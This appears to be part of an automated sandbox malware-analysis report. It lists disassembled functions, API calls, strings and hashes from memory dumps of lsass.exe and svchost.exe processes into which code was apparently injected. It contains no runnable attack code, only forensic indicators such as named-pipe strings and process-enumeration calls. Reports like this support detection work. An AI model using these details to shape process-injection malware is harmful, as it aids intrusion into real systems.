csm, xrefs: 00000202C0AE8D49

Memory Dump Source

Source File: 0000000A.00000002.2350538920.00000202C0AE1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Associated: 0000000A.00000002.2349769408.00000202C0AE0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2351411359.00000202C0AF5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2352197509.00000202C0B00000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2352897380.00000202C0B02000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2353504211.00000202C0B09000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_202c0ae0000_lsass.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm
API String ID: 2395640692-1018135373
Opcode ID: b80ff68eb806cf2b6af9fc4dc9cc0d46113cdbfcc8a0c2797bbdc03f84945619
Instruction ID: c941f4bbe2b58b1d907055fb575691ae6c21b1d66a7bad7ff054d329bd2a8ea4
Opcode Fuzzy Hash: b80ff68eb806cf2b6af9fc4dc9cc0d46113cdbfcc8a0c2797bbdc03f84945619
Instruction Fuzzy Hash: 04518132311780CAFB58CB15E48CB6C7791E754B98F164127DBAE4778ADB79C869C700

Function 00000202C0AB9EAC Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 146COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00000202C0AB9ED4
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 00000202C0AB9FBC

Strings

csm, xrefs: 00000202C0ABA00E
csm, xrefs: 00000202C0AB9EF6

Memory Dump Source

Source File: 0000000A.00000003.2182941443.00000202C0AB0000.00000040.00000400.00020000.00000000.sdmp, Offset: 00000202C0AB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_3_202c0ab0000_lsass.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: eaa3ef4f1944c03eb6c37dfa640564b8b9e6afec5d94ced6829f034688bc3bbb
Instruction ID: f47f5f019f57884b92e204f4c758bbf48bfba7d3a59aeef637baf0707637bc52
Opcode Fuzzy Hash: eaa3ef4f1944c03eb6c37dfa640564b8b9e6afec5d94ced6829f034688bc3bbb
Instruction Fuzzy Hash: F4516D32204780CAFB749F25958C36C7BA0F365B94F164117DB9987BD6CB39C4A8CB05

Function 00000202C0AEAAAC Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 146COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00000202C0AEAAD4
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 00000202C0AEABBC

Strings

csm, xrefs: 00000202C0AEAC0E
csm, xrefs: 00000202C0AEAAF6

Memory Dump Source

Source File: 0000000A.00000002.2350538920.00000202C0AE1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Associated: 0000000A.00000002.2349769408.00000202C0AE0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2351411359.00000202C0AF5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2352197509.00000202C0B00000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2352897380.00000202C0B02000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2353504211.00000202C0B09000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_202c0ae0000_lsass.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: eaa3ef4f1944c03eb6c37dfa640564b8b9e6afec5d94ced6829f034688bc3bbb
Instruction ID: 33230b6d4da0d55998f3ab9552fef6bdcd87ec8b0b7b95ee5cafcaf9663b412d
Opcode Fuzzy Hash: eaa3ef4f1944c03eb6c37dfa640564b8b9e6afec5d94ced6829f034688bc3bbb
Instruction Fuzzy Hash: 90513D322007C0CAFB748B56958C35C77A1F7A6B98F264117DBE947B96CB38E869C701

Function 00000202C0AEA6FC Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 146COMMON

Download Yara Rule

APIs

EncodePointer.KERNEL32 ref: 00000202C0AEA75B
_CallSETranslator.LIBVCRUNTIME ref: 00000202C0AEA7A7

Strings

RCC, xrefs: 00000202C0AEA777
MOC, xrefs: 00000202C0AEA76F

Memory Dump Source

Source File: 0000000A.00000002.2350538920.00000202C0AE1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Associated: 0000000A.00000002.2349769408.00000202C0AE0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2351411359.00000202C0AF5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2352197509.00000202C0B00000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2352897380.00000202C0B02000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2353504211.00000202C0B09000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_202c0ae0000_lsass.jbxd

Similarity

API ID: CallEncodePointerTranslator
String ID: MOC$RCC
API String ID: 3544855599-2084237596
Opcode ID: 17958f67cb0a17abd9ffe4ca5dea2288dd301e2c3aed8a7adc88a0e8f0f7cfb5
Instruction ID: 0fc22b56dfddb0527b2519421457ec22dff98415b2a2cc09f07841430687fcc4
Opcode Fuzzy Hash: 17958f67cb0a17abd9ffe4ca5dea2288dd301e2c3aed8a7adc88a0e8f0f7cfb5
Instruction Fuzzy Hash: A9618D32504BC4C5EB209F15E48879EB7A0F795B94F054217EBE917B96DB78D1A8CB00

Function 00000202C0AE3950 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

StrCmpNW.SHLWAPI ref: 00000202C0AE3972
StrStrW.SHLWAPI ref: 00000202C0AE3990
StrToIntW.SHLWAPI ref: 00000202C0AE39B7

Part of subcall function 00000202C0AE1A30: OpenProcess.KERNEL32 ref: 00000202C0AE1A56
Part of subcall function 00000202C0AE1A30: K32GetModuleFileNameExW.KERNEL32 ref: 00000202C0AE1A74
Part of subcall function 00000202C0AE1A30: PathFindFileNameW.SHLWAPI ref: 00000202C0AE1A83
Part of subcall function 00000202C0AE1A30: lstrlenW.KERNEL32 ref: 00000202C0AE1A8F
Part of subcall function 00000202C0AE1A30: StrCpyW.SHLWAPI ref: 00000202C0AE1AA2
Part of subcall function 00000202C0AE1A30: CloseHandle.KERNEL32 ref: 00000202C0AE1AB0

Part of subcall function 00000202C0AE3F88: StrCmpNIW.SHLWAPI(?,?,?,00000202C0AE272F), ref: 00000202C0AE3FA0

Strings

pid_, xrefs: 00000202C0AE3968

Memory Dump Source

Source File: 0000000A.00000002.2350538920.00000202C0AE1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Associated: 0000000A.00000002.2349769408.00000202C0AE0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2351411359.00000202C0AF5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2352197509.00000202C0B00000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2352897380.00000202C0B02000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2353504211.00000202C0B09000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_202c0ae0000_lsass.jbxd

Similarity

API ID: FileName$CloseFindHandleModuleOpenPathProcesslstrlen
String ID: pid_
API String ID: 517849248-4147670505
Opcode ID: 351c56d785df20298bfbc2128b4df5e5f7d51d179e69475368e405930b6507af
Instruction ID: f8827811e544d3c712e3cbab608fb4db90051d760574ad5d5195acb9cd4df361
Opcode Fuzzy Hash: 351c56d785df20298bfbc2128b4df5e5f7d51d179e69475368e405930b6507af
Instruction Fuzzy Hash: 11116D223187D1D1FB109B25E89C35E62A4BB887C0F9241379BE983796EF69C95DC700

Function 00000202C0AF1FA8 Relevance: 6.3, APIs: 4, Instructions: 304fileCOMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32 ref: 00000202C0AF2027
WriteFile.KERNEL32 ref: 00000202C0AF2304
WriteFile.KERNEL32 ref: 00000202C0AF234A
GetLastError.KERNEL32 ref: 00000202C0AF2409

Memory Dump Source

Source File: 0000000A.00000002.2350538920.00000202C0AE1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Associated: 0000000A.00000002.2349769408.00000202C0AE0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2351411359.00000202C0AF5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2352197509.00000202C0B00000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2352897380.00000202C0B02000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2353504211.00000202C0B09000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_202c0ae0000_lsass.jbxd

Similarity

API ID: FileWrite$ConsoleErrorLastOutput
String ID:
API String ID: 2718003287-0
Opcode ID: 6e2b0015a5e192ecbb3898a491d5c4d6065fa3f656e88a841fb9fa74fea56143
Instruction ID: be312b6ec7ed32438a8ab04b1f94e644d8c529af7275a8a121309e55da483e43
Opcode Fuzzy Hash: 6e2b0015a5e192ecbb3898a491d5c4d6065fa3f656e88a841fb9fa74fea56143
Instruction Fuzzy Hash: 95D19733714B84C9F711CBA9D48869C37B1F354B98F424227CF5AA7B9ADA35C54AC740

Function 00000202C0AE14A0 Relevance: 6.3, APIs: 5, Instructions: 40memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00000202C0AE14C6
HeapFree.KERNEL32 ref: 00000202C0AE14D5
GetProcessHeap.KERNEL32 ref: 00000202C0AE14E2
HeapFree.KERNEL32 ref: 00000202C0AE14F1
GetProcessHeap.KERNEL32 ref: 00000202C0AE1501

Memory Dump Source

Source File: 0000000A.00000002.2350538920.00000202C0AE1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Associated: 0000000A.00000002.2349769408.00000202C0AE0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2351411359.00000202C0AF5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2352197509.00000202C0B00000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2352897380.00000202C0B02000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2353504211.00000202C0B09000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_202c0ae0000_lsass.jbxd

Similarity

API ID: Heap$Process$Free
String ID:
API String ID: 3168794593-0
Opcode ID: cb2f76e5a78e817a83185cac88bc62ecdb24cbc77a47800d9d0442b9e443284d
Instruction ID: 2a70fa74545aae0f0f7f42aa10fee5355385ed8f800a43245c7b0e17be634c27
Opcode Fuzzy Hash: cb2f76e5a78e817a83185cac88bc62ecdb24cbc77a47800d9d0442b9e443284d
Instruction Fuzzy Hash: 12016932610B90DAE718EF66E88C24DBBA0F788F80B0A4127DF8943769DF34E055C744

Function 00000202C0AF28F4 Relevance: 6.2, APIs: 4, Instructions: 229COMMON

Download Yara Rule

APIs

GetConsoleMode.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000,00000000,00000202C0AF28DF), ref: 00000202C0AF2A12

Memory Dump Source

Source File: 0000000A.00000002.2350538920.00000202C0AE1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Associated: 0000000A.00000002.2349769408.00000202C0AE0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2351411359.00000202C0AF5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2352197509.00000202C0B00000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2352897380.00000202C0B02000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2353504211.00000202C0B09000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_202c0ae0000_lsass.jbxd

Similarity

API ID: ConsoleMode
String ID:
API String ID: 4145635619-0
Opcode ID: 84db17c61f8644ba0c376578cd7e648754f889cd263a50ace8e4a54d342680a6
Instruction ID: e5c55b3226368dcd247dca320c2a3230a39d92155be30f3a4a2b229685e1e7c3
Opcode Fuzzy Hash: 84db17c61f8644ba0c376578cd7e648754f889cd263a50ace8e4a54d342680a6
Instruction Fuzzy Hash: 9891BB73610750C9FB64DF6598DC7AD2BA0F354B88F46411BDF4A67A86DA36C88BC300

Function 00000202C0AE8090 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00000202C0AE80BC
GetCurrentThreadId.KERNEL32 ref: 00000202C0AE80CA
GetCurrentProcessId.KERNEL32 ref: 00000202C0AE80D6
QueryPerformanceCounter.KERNEL32 ref: 00000202C0AE80E6

Memory Dump Source

Source File: 0000000A.00000002.2350538920.00000202C0AE1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Associated: 0000000A.00000002.2349769408.00000202C0AE0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2351411359.00000202C0AF5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2352197509.00000202C0B00000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2352897380.00000202C0B02000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2353504211.00000202C0B09000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_202c0ae0000_lsass.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 61e3724c6de8b17bf9a8ee54dd3d1bb067003c5f3b921a84847ee34476b0adea
Instruction ID: 62f884037c56f2eb9e101b9eb6d4c8b48e0da77c088b7664056c18917f8be7ca
Opcode Fuzzy Hash: 61e3724c6de8b17bf9a8ee54dd3d1bb067003c5f3b921a84847ee34476b0adea
Instruction Fuzzy Hash: C9111526710B04CAFB00CB60E8983AC33A4F719758F450E22EB6D867A5EB78C5688380

Function 00000202C0AE27E8 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 185COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 00000202C0AE28CC
StrCpyW.SHLWAPI ref: 00000202C0AE28E5

Part of subcall function 00000202C0AE3F88: StrCmpNIW.SHLWAPI(?,?,?,00000202C0AE272F), ref: 00000202C0AE3FA0

Strings

\\.\pipe\, xrefs: 00000202C0AE28D7

Memory Dump Source

Source File: 0000000A.00000002.2350538920.00000202C0AE1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Associated: 0000000A.00000002.2349769408.00000202C0AE0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2351411359.00000202C0AF5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2352197509.00000202C0B00000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2352897380.00000202C0B02000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2353504211.00000202C0B09000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_202c0ae0000_lsass.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: ff4f71be338cb0fe5049debcf5759f5669753ac72572a0d232f439ca1a0f8997
Instruction ID: c36f8d58733dc3f660be89ea2119618fcbbc44045d128cf22e40849943d72586
Opcode Fuzzy Hash: ff4f71be338cb0fe5049debcf5759f5669753ac72572a0d232f439ca1a0f8997
Instruction Fuzzy Hash: F7718D72204BC1C6F734DE26A8DC3AE6794F384BC4F420027DFAA47B8ADA75C6188740

Function 00000202C0AB80A0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 154COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00000202C0AB80CB
_IsNonwritableInCurrentImage.LIBCMT ref: 00000202C0AB8162

Strings

csm, xrefs: 00000202C0AB8149

Memory Dump Source

Source File: 0000000A.00000003.2182941443.00000202C0AB0000.00000040.00000400.00020000.00000000.sdmp, Offset: 00000202C0AB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_3_202c0ab0000_lsass.jbxd

Similarity

API ID: CurrentImageNonwritable__except_validate_context_record
String ID: csm
API String ID: 3242871069-1018135373
Opcode ID: b80ff68eb806cf2b6af9fc4dc9cc0d46113cdbfcc8a0c2797bbdc03f84945619
Instruction ID: 28f06788d7490d2f5700d0b906615798fe2339565d29d2b738e9ca2c21cad0d2
Opcode Fuzzy Hash: b80ff68eb806cf2b6af9fc4dc9cc0d46113cdbfcc8a0c2797bbdc03f84945619
Instruction Fuzzy Hash: C7516F32312B00CAFB58CF1DE48CBAD7791E754B98F1686279B5A4778ADB79C849C700

Function 00000202C0AB9AFC Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 146COMMON

Download Yara Rule

APIs

_CallSETranslator.LIBVCRUNTIME ref: 00000202C0AB9BA7

Strings

MOC, xrefs: 00000202C0AB9B6F
RCC, xrefs: 00000202C0AB9B77

Memory Dump Source

Source File: 0000000A.00000003.2182941443.00000202C0AB0000.00000040.00000400.00020000.00000000.sdmp, Offset: 00000202C0AB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_3_202c0ab0000_lsass.jbxd

Similarity

API ID: CallTranslator
String ID: MOC$RCC
API String ID: 3163161869-2084237596
Opcode ID: 17958f67cb0a17abd9ffe4ca5dea2288dd301e2c3aed8a7adc88a0e8f0f7cfb5
Instruction ID: 408d19260c6af9364fbe0ad4394b019caa14083f3a6b4c15843173c47a844df2
Opcode Fuzzy Hash: 17958f67cb0a17abd9ffe4ca5dea2288dd301e2c3aed8a7adc88a0e8f0f7cfb5
Instruction Fuzzy Hash: 0C61B432504BC4C5E7759F15E48879EB7A0F785B88F054217EB9807B96CB7CC198CB04

Function 00000202C0AE25DC Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 141COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 00000202C0AE26C2
StrCpyW.SHLWAPI ref: 00000202C0AE26D9

Strings

\\.\pipe\, xrefs: 00000202C0AE26CD

Memory Dump Source

Source File: 0000000A.00000002.2350538920.00000202C0AE1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Associated: 0000000A.00000002.2349769408.00000202C0AE0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2351411359.00000202C0AF5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2352197509.00000202C0B00000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2352897380.00000202C0B02000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2353504211.00000202C0B09000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_202c0ae0000_lsass.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: bd677bffd8830a8f95fe5f2a714728342c990f231eb0fef724be370d7bbf4432
Instruction ID: 5b293359d0d2b51e4d09b33e3e8f78df7785384090e65af87d5b5511161bad2a
Opcode Fuzzy Hash: bd677bffd8830a8f95fe5f2a714728342c990f231eb0fef724be370d7bbf4432
Instruction Fuzzy Hash: F351C3262087C1C1F624DE26A4DC3AE7751F3D8B80F460127DFA943B8BDA3AC528C740

Function 00000202C0AF2660 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 00000202C0AF2778
GetLastError.KERNEL32 ref: 00000202C0AF279D

Strings

U, xrefs: 00000202C0AF2722

Memory Dump Source

Source File: 0000000A.00000002.2350538920.00000202C0AE1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Associated: 0000000A.00000002.2349769408.00000202C0AE0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2351411359.00000202C0AF5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2352197509.00000202C0B00000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2352897380.00000202C0B02000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2353504211.00000202C0B09000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_202c0ae0000_lsass.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: U
API String ID: 442123175-4171548499
Opcode ID: 608dbfc7eceb37b1c9531a955daf284e11a95c8252675cdfa91653c1712c9be4
Instruction ID: 26b9c2485665c3f71962b909d1f450666f4b9807b38b51d5cd852ce8c5c245b5
Opcode Fuzzy Hash: 608dbfc7eceb37b1c9531a955daf284e11a95c8252675cdfa91653c1712c9be4
Instruction Fuzzy Hash: EB41AE73625B80C6E760DF65E48C79EA7A0F388784F924123EB4D87759EB79C44ACB40

Function 00000202C0AE9178 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlPcToFileHeader.NTDLL ref: 00000202C0AE91C8
RaiseException.KERNEL32(?,?,?,?,?,?,?,?,?,00000202C0AE87F7), ref: 00000202C0AE9209

Strings

csm, xrefs: 00000202C0AE91F6

Memory Dump Source

Source File: 0000000A.00000002.2350538920.00000202C0AE1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Associated: 0000000A.00000002.2349769408.00000202C0AE0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2351411359.00000202C0AF5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2352197509.00000202C0B00000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2352897380.00000202C0B02000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2353504211.00000202C0B09000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_202c0ae0000_lsass.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: 0fa69785a085c04948c157334ebe0f5d9795e11839ffdc4193b8483db1e39a2c
Instruction ID: d80ba936443bac04cb9fd99f09a4bd6c60f5ba5f847f7c682dab857e29dad323
Opcode Fuzzy Hash: 0fa69785a085c04948c157334ebe0f5d9795e11839ffdc4193b8483db1e39a2c
Instruction Fuzzy Hash: 7A111932214B80C2EB618B25F48825DB7E5F788B94F594222EBCD07B65DF39C565CB00

Function 00000202C0AE1D30 Relevance: 5.0, APIs: 4, Instructions: 46memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00000202C0AE1D69
HeapAlloc.KERNEL32 ref: 00000202C0AE1D77
GetProcessHeap.KERNEL32 ref: 00000202C0AE1D9C
HeapFree.KERNEL32 ref: 00000202C0AE1DAA

Memory Dump Source

Source File: 0000000A.00000002.2350538920.00000202C0AE1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Associated: 0000000A.00000002.2349769408.00000202C0AE0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2351411359.00000202C0AF5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2352197509.00000202C0B00000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2352897380.00000202C0B02000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2353504211.00000202C0B09000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_202c0ae0000_lsass.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID:
API String ID: 756756679-0
Opcode ID: 4c9b2301a415d0f0b496c555fe445cf1af4f6cd5e16f1feadd66e218500f58a3
Instruction ID: b490cb0236f5556427fa48d8edeff5a12f4c048db8e28afcec6f42e5595949fb
Opcode Fuzzy Hash: 4c9b2301a415d0f0b496c555fe445cf1af4f6cd5e16f1feadd66e218500f58a3
Instruction Fuzzy Hash: 1411AD22A01B90C1FB15DB66A88C25D67A0F788FC0F5A4126DF8E53766EF39D4568304

Function 00000202C0AE1264 Relevance: 5.0, APIs: 4, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00000202C0AE126A
HeapAlloc.KERNEL32 ref: 00000202C0AE1279
GetProcessHeap.KERNEL32 ref: 00000202C0AE1293
HeapAlloc.KERNEL32 ref: 00000202C0AE12A4

Memory Dump Source

Source File: 0000000A.00000002.2350538920.00000202C0AE1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Associated: 0000000A.00000002.2349769408.00000202C0AE0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2351411359.00000202C0AF5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2352197509.00000202C0B00000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2352897380.00000202C0B02000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2353504211.00000202C0B09000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_202c0ae0000_lsass.jbxd

Similarity

API ID: Heap$AllocProcess
String ID:
API String ID: 1617791916-0
Opcode ID: 5766f835ea2a456c44b6013e96a3e1eda123ada506de8733bfa06fac8bd4a176
Instruction ID: ba11de582faed56b1472f891f123a21052092428e15a65ff5d1d74c6b2332d80
Opcode Fuzzy Hash: 5766f835ea2a456c44b6013e96a3e1eda123ada506de8733bfa06fac8bd4a176
Instruction Fuzzy Hash: CEE03932601704DAF718EB62D84C349BAE1EB88B06F468126CB0907351EF7E949D8740

Function 00000202C0AE1000 Relevance: 5.0, APIs: 4, Instructions: 20memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00000202C0AE1006
HeapAlloc.KERNEL32 ref: 00000202C0AE1015
GetProcessHeap.KERNEL32 ref: 00000202C0AE1028
HeapAlloc.KERNEL32 ref: 00000202C0AE1037

Memory Dump Source

Source File: 0000000A.00000002.2350538920.00000202C0AE1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Associated: 0000000A.00000002.2349769408.00000202C0AE0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2351411359.00000202C0AF5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2352197509.00000202C0B00000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2352897380.00000202C0B02000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2353504211.00000202C0B09000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_202c0ae0000_lsass.jbxd

Similarity

API ID: Heap$AllocProcess
String ID:
API String ID: 1617791916-0
Opcode ID: edf732acfe8a8b1979705777c81849703b5d4d240706bab5b6d58847dad35a27
Instruction ID: dffc742d7b09788d05dbad6ec6a9b3515378bf5ce6b0b7ba61dd4a885f199826
Opcode Fuzzy Hash: edf732acfe8a8b1979705777c81849703b5d4d240706bab5b6d58847dad35a27
Instruction Fuzzy Hash: 79E0ED72611704DAF718EB62D84C35DB6A1FB88B16F468126CB0907351EE39949D9614

Analysis Process: svchost.exePID: 920, Parent PID: 5016COMMON

Execution Graph

Execution Coverage:	1.5%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	1402
Total number of Limit Nodes:	5

Executed Functions

Function 000002A661301E74 Relevance: 43.8, APIs: 8, Strings: 17, Instructions: 95
memorythreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThread.KERNEL32 ref: 000002A661301E7F

Part of subcall function 000002A6613022A8: GetModuleHandleA.KERNEL32(?,?,?,000002A661301EB1), ref: 000002A6613022C0
Part of subcall function 000002A6613022A8: GetProcAddress.KERNEL32(?,?,?,000002A661301EB1), ref: 000002A6613022D1

CreateThread.KERNELBASE ref: 000002A661302043
TlsAlloc.KERNEL32 ref: 000002A661302049
